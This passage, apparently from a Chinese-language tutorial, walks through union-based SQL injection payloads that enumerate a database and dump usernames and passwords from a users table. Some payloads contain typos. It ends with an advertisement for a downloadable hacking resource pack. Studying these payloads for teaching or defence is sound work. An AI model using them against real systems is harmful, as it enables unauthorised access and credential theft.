?id=1’ group by 3 --+
判断可能有三列
5)查询回显位置
这里先介绍一种联合查询 union
?id=1’ union select 1,2,3--+
正常回显判断可能是因为只显示一行,这里我们使用?id=-1' 或者 ?id=0'等进行尝试
?id=-1'union select 1,2,3--+
2,3的位置得到回显可以在2,3的位置进行查询注入
我们看一下当前数据库和版本信息,方便之后操作
?id=-1‘union select 1,version(),database()
6),拿表名和列名
Information_schema包含所以mysql数据库的简要信息其中,包含两个信息tables表名集合表和columns列名集合表
我们从phpadmin中查看一下
?id=-1' union select 1,table_name,3 from information_schema.tables --+
一个一个找太麻烦,所以用一个group_concat,全部查询出来
group_concat 的作用是把查询到的所以信息再一行里全部显示
?id=-1’ uinon select 1,group_concat(table_name),3 from information_schema.tables --+
在里面找到自己想要的信息
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=’users’--+
找到了列名
?id=-1’ union select 1,group_concat(password,username),3 from users--+
然后我用~作为分隔符,方便看结果
?id=-1’ union select 1,group_concat(password,’~’ ,username),3 from users--+
查询数据表结束
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网络安全面试题
绿盟护网行动
还有大家最喜欢的黑客技术
网络安全源码合集+工具包
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
详情docs.qq.com/doc/DSlhRRFFyU2pVZGhS